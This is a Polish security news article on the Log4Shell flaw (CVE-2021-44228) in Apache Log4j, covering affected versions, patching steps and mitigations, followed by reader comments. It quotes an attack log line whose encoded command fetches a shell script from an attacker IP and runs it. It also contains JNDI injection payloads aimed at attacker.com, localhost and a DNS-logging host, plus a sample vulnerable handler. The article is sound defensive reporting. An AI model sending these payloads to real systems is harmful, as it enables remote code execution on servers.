Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Krytyczna podatność w Apache Log4j. Co wiemy, jak wyglądają ataki? Jak się chronić? CVE-2021-44228 RCE

11 grudnia 2021, 13:51 | Aktualności | komentarzy 28

Apache Log4j to bardzo popularna biblioteka javowa służąca do… logowania rozmaitych zdarzeń.


Podatność, możliwe skutki wykorzystania.

Luka CVE-2021-44228 (inna nazwa: log4shell) to tzw. RCE (Remote Code Execution) – czyli wykonanie dowolnego (wrogiego) kodu po stronie serwerowej. Napastnik może uzyskać dostęp do wykonywania dowolnych poleceń na serwerze (z uprawnieniami, z którymi działa podatna aplikacja).

Podatność w ogólnym przypadku nie wymaga uwierzytelnienia.

W jaki sposób może dojść do ataku?

Wystarczy, że atakujący w dowolny sposób prześle do podatnej aplikacji / systemu odpowiedni ciąg znaków (patrz niżej). Jeśli ten ciąg znaków jest w dowolnym miejscu logowany z wykorzystaniem Log4j, może nastąpić wrogie wykonanie kodu (przykład podatnego kodu / aplikacji – patrz niżej).

Co jest podatne?

Biblioteka w wersjach od 2.x aż do 2.14.1 (podatna jest też wersja log4j 2.15.0 rc1 -miała łatać lukę, ale udało się znaleźć obejście). Na dzień dzisiejszy wersja 2.16.0 łata podatność. Udostępniona została właśnie wersja 2.17.0 łatająca kolejną lukę (DoS).

Wersje 1.x biblioteki nie są podatne na log4shell, ale ta linia ma status EoL (End of Life). Swoją drogą są w niej znane inne podatności, np. ta; w tej linii nie są łatane nowo znalezione luki bezpieczeństwa.

Jak może wyglądać realny atak?

Przykład z logów sekuraka:

212.193.57.225 – – [11/Dec/2021:11:01:21 +0000] „GET / HTTP/1.1” 200 17255 „http://51.77.40.125:80/” „${jndi:ldap://92.242.40.21:5557/Basic/Command/Base64/KGN1cmwgLXMgOTIuMjQyLjQwLjIxL2xoMi5zaHx8d2dldCAtcSAtTy0gOTIuMjQyLjQwLjIxL2xoMi5zaCl8c2g=}”

Komentarz:
* Atakujący próbują w „pewnym miejscu” przekazywać ciąg znaków rozpoczynający się od ${jndi:
Ale uwaga, atak można zakodować inaczej, bez użycia wprost tego ciągu, patrz np.:


* Ciąg znaków może być przekazany praktycznie w każdym miejscu (zmienna w URL, zmienna w ciele żądania, zmienna w nagłówkach HTTP)
* Nasz webserwer/serwer aplikacyjny nie zawsze zaloguje próbę ataku! (wystarczy, że atakujący przekaże payload w zmiennej typu POST – patrz np. formularze logowania)

Czy podatne są tylko aplikacje webowe?

Nie. Narażone na atak są wszystkie aplikacje javowe, które korzystają z podatnej wersji Log4j (pamiętajmy jednak, że do skutecznego ataku konieczna jest możliwość wysłania przez atakującego odpowiedniej komunikacji (protokołem HTTP/HTTPS/TCP czy innym)). Niektórzy pół żartem, pół serio cytują tego tweeta:

Czy helikopter marsjański podatny jest na Log4j?

Niektórzy sugerują, że być może podatność uda się wykorzystać, ustawiając stosowną nazwę sieci WiFi (kto wie, co loguje te nazwy za pomocą Log4j…)

Lukę łatają też narzędzia typowo desktopowe, np. Ghidra, czy OWASP ZAP:

Przykłady realnych podatnych systemów?

Jedno z pierwszych (choć niepotwierdzonych jeszcze) doniesień to np. VMWare vCenter:

Podatnych jest więcej produktów od VMWare.

Struts2 – pokaz podatności z jedną z najnowszych wersji Javy (latest Struts2 Showcase (2.5.27) running on Tomcat with a recent Java version; openjdk version „11.0.13” 2021-10-19):

W tym miejscu dostępna jest (aktualizowana) lista linków do projektów/systemów, które informują o statusie odnośnie bycia podatnym na log4shell. Na obecną chwilę (11.12.2021) często są to zajawki wpisów, wskazujące które projekty są potencjalnie podatne (przykład: Cisco, Atlassian).

Jak się załatać? Najsprawniejsza metoda to podmiana biblioteki Log4j do wersji 2.16.0 (lub wyższej)

Przykład:

$ find . -iname '*log4j*’

./lib/log4j-core-2.12.1.jar
./lib/log4j-api-2.12.1.jar

Jak widać aplikacja korzysta z podatnej wersji biblioteki.

a. Pobieramy zaktualizowaną bibliotekę z tego miejsca: https://logging.apache.org/log4j/2.x/download.html
b. Weryfikujemy pobranie (podpis cyfrowy).
c. Wykonujemy kopię zapasową aplikacji (pliki + baza danych).
d. Stopujemy aplikację (serwer aplikacyjny)

Aktualizujemy bibliotekę:

$ cp ../apache-log4j-2.16.0-bin/log4j-core-2.16.0.jar ./lib/
$ cp ../apache-log4j-2.16.0-bin/log4j-api-2.16.0.jar ./lib/

$ rm ./lib/log4j-core-2.12.1.jar
$ rm ./lib/log4j-api-2.12.1.jar 

Startujemy serwer aplikacyjny.

Pamiętaj, że samo dogranie nowych wersji biblioteki nie usuwa problemu. Pamiętaj również o restarcie aplikacji.

Potrzebujesz pomocy w sprawdzeniu czy Twoje systemy są podatne na log4shell? Lub chciałbyś sprawdzić czy poprawnie załatałeś aplikacje? Pisz na securitum@securitum.pl

Czy istnieje inny sposób ochrony niż instalacja co najmniej wersji 2.16.0 biblioteki?

Od wersji 2.10 można ustawić właściwość: formatMsgNoLookups=true co wg obecnej wiedzy uniemożliwia ataki (tylko w domyślnej konfiguracji biblioteki).

W wersjach wcześniejszych można usunąć całą klasę, wykorzystywaną w trakcie ataków (która z bardzo dużym prawdopodobieństwem nie jest normalnie wykorzystywana przez aplikacje; pamiętaj o wykonaniu kopii zapasowej plików aplikacji):

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Wartościowe podsumowanie sposobów ochrony przed podatnością przedstawia szwajcarski CERT:

Jak wygląda przykład podatnego kodu?

Fragment prezentowany tutaj, wygląda jak poniżej; podatne miejsce to zwykłe logowanie wartości zmiennej, przekazywanej od użytkownika (pogrubiona linia poniżej):

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Exploit (czy raczej Proof of Concept) na taki podatny program wygląda w ten sposób:

curl 127.0.0.1:8080 -H 'user-agent: ${jndi:ldap://127.0.0.1/a}’

Jeśli teraz web/application serwer wykona żądanie do 127.0.0.1 – jesteśmy podatni. W realnym ataku adresem IP będzie ten należący do atakującego, skąd zostanie pobrany kod do wykonania.

Część osób wykonuje nieco prostsze testy, wymuszając zapytania do swojego czy też obcego serwera DNS, np.:

curl 127.0.0.1:8080 -H 'user-agent: ${jndi:ldap://costam.dnslog.cn/a}’

Dodatkowo, nawet w samym zapytaniu do DNS możliwe jest pobranie pewnych informacji z serwera, np. w ten sposób:

Inne przykłady tego typu „tricku” – tutaj.

W jaki sposób zlokalizować czy moja aplikacja / system korzysta z podatnej wersji log4j?

Poszukaj plików zawierających w nazwie log4j-core – np. tak:

$ find . -iname '*log4j-core*’

./osgi/state/org.eclipse.osgi/71/0/.cp/lib/log4j-core-2.11.2.jar

Powyższy wynik wskazuje na podatną wersję 2.11.2

Można pokusić się również o bardziej szerokie poszukiwanie plików zawierających w nazwie log4j, ale możemy natknąć się na niepodatne wersje (aby to potwierdzić, warto rozpakować zwykłym zip-em plik jar oraz poszukać wewnątrz numeru wykorzystywanej wersji):

$ find . -iname '*log4j*’

./tomcat-9.0.17/webapps/ROOT/WEB-INF/lib/log4j-extras.jar
./tomcat-9.0.17/webapps/ROOT/WEB-INF/lib/com.liferay.petra.log4j.jar
./tomcat-9.0.17/webapps/ROOT/WEB-INF/lib/log4j.jar
./tomcat-9.0.17/webapps/ROOT/WEB-INF/classes/log4j.properties
./osgi/state/org.eclipse.osgi/71/0/.cp/lib/log4j-core-2.11.2.jar
./osgi/state/org.eclipse.osgi/71/0/.cp/lib/log4j-api-2.11.2.jar

Można od razu spróbować wyświetlić id procesu, który używa podatnej biblioteki:

$ lsof ./osgi/state/org.eclipse.osgi/71/0/.cp/lib/log4j-core-2.11.2.jar 

java    17983 root 1496r   REG    8,0  1629585 615689 ./osgi/state/org.eclipse.osgi/71/0/.cp/lib/log4j-core-2.11.2.jar

Pamiętajmy też że samo wystąpienie podatnej wersji log4j w naszym projekcie nie oznacza że jesteśmy na 100% podatni (chociaż szansa jest raczej spora). Aplikacja musi logować przynajmniej jedną wartość, która może zostać przekazana od użytkownika (czytaj: atakującego).

W jaki inny sposób (metoda blackbox) sprawdzić czy moja aplikacja / system jest dziurawy?

Można spróbować zrobić to w sposób pokazany na tweecie poniżej (rejestrujemy „naszą” nazwę w DNS – canarytokens.org, teraz najtrudniejszy moment: przekazujemy gdzietylkosieda do aplikacji/systemu wartość ${jndi:ldap://iuqwekjqweoqwebqjhewkjqwe.canarytokens.com/a}.

Jeśli system jest podatny, to otrzymacie alert na e-mail o rozwiązaniu wcześniej wygenerowanej domeny:

Dobra wiadomość dla osób testujących aplikacje webowe. Stosowny moduł, próbujący wykrywać podatność log4shell dostępny jest w ActiveScan++ (rozszerzeniu do Burp Suite):

Nasza ~1.5 prezentacja tematu:

~Michał Sajdak



Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Kilroy

    Czy podrzucony kod zostanie wykonany nawet jeśli poziom logowania podatnej wiadomości jest niższy niż poziom loggera?

    Odpowiedz
    • Kuba

      Tak, chyba, że w kodzie masz warunek, który musi być spełniony, żeby zapisać loga.
      Np. jak masz level INFO, to to się nie wykona:
      logger.debug(„Some long-running operation returned {}”, () -> something);
      if (logger.isDebugEnabled()) {
      logger.debug(„Some long-running operation returned {}”, something);
      }

      A to się wykona:
      logger.debug(„Some long-running operation returned {}”, something);

      Odpowiedz
  2. GG
    Odpowiedz
  3. Batrek

    javageddon….

    Odpowiedz
  4. Mateusz

    Super, dziękuję za info jak sprawdzić :)

    Odpowiedz
  5. Dawid

    Dość ciekawa podatność, natomiast jestem zdziwiony, że działa na tak wielu aplikacjach backend’owych, tj. żeby to zadziałało, to serwer musi skutecznie wysłać żądanie, najczęściej gdzieś do internetu. Przerażające jest to, że tak wiele firm nie robi hardeningu systemów, na których działają aplikacje, wystarczy ograniczyć (nie koniecznie w pełni uniemożliwić) ruch z hosta do internetu i problem w takich sytuacjach wydaje się przynajmniej o klasę mniej poważny.

    Odpowiedz
  6. Łukasz

    Miliony adminów pobierają dzisiaj log4j ze strony Apache (ale mają ruch dzisiaj!). A teraz wyobraźcie sobie, że ktoś podmienił logs4j-2.15.0 wersją z kolejnym (ale trochę lepiej schowanym) backdoorem…

    Odpowiedz
  7. Marek

    Skanowaliście nessusem ? Wykrył Wam podatność ?

    Odpowiedz
    • my to nie jesteśmy podatni (WP to PHP)

      Odpowiedz
      • Rafał

        Oh, the irony. Tyle lat wyśmiewania Php :-D

        Odpowiedz
  8. tomek

    Jak usunąć podatność ? Możecie napisać krok po kroku co należy wykonać ?

    Odpowiedz
    • No piszemy – najprościej zaktualizować log4j do wersji minimum 2.15.

      Odpowiedz
      • K

        albo skasować JndiLookup.class z jara log4j

        Odpowiedz
      • Filip

        *2.16

        Odpowiedz
  9. czytelnik

    Pytanie:

    Czy napisalibyście artykuł na temat jak śledzić takie „newsy” w kontekście gdy bezpieczeństwo nie jest naszym głównym zajęciem, a systemów pod naszą opieką i oprogramowania (aplikacji, bibliotek) jest … dużo.

    Jak to dobrze ogarnąć mając mało czasu, żeby czegoś istotnego nie pominąć?

    Odpowiedz
    • Złe wieści. Tj. czytaj sekuraka i robimy co możemy żeby wrzucać takie tematy.

      Sami też (czy ostatnio głównie MS) sporo czasu spędzamy ~codziennie żeby poszukać właśnie jakiś ciekawych podatności do opisania. I np. czasem się okazuje, że wygląda coś groźnie, ale… podatność jest kapiszonem (mały impact lub b. duże wymagania wstępne) – więc szkoda czasu na opisywanie.

      Można śledzić też różne listy, tylko z nimi znowu jest problem taki, że informacje nie są przesortowane (często jest też ich za dużo) i w końcu się takie listy olewa (brak czasu).

      Odpowiedz
  10. GABS
    Odpowiedz
  11. luke

    Czy jeśli skaner podatności znajduje jedynie `log4j-api` natomiast brak `log4j-core` to dany system jest podatny?

    Odpowiedz
  12. Linux

    W artykule jest $ find . -iname '*log4j*’ czy nie powinno być $ find . -iname '*log4j*’ lub nawet :
    cd /
    sudo find . -iname '*log4j*’

    Odpowiedz
    • Nie no nie powinno byc aby odizolowac debili w sensie ludzi nie posiadajacych wyksztalcenia

      Odpowiedz
  13. Łukasz

    Pssst, CVE-2021-45046.

    Odpowiedz
  14. Darek

    + CVE-2021-45105

    Odpowiedz

Odpowiedz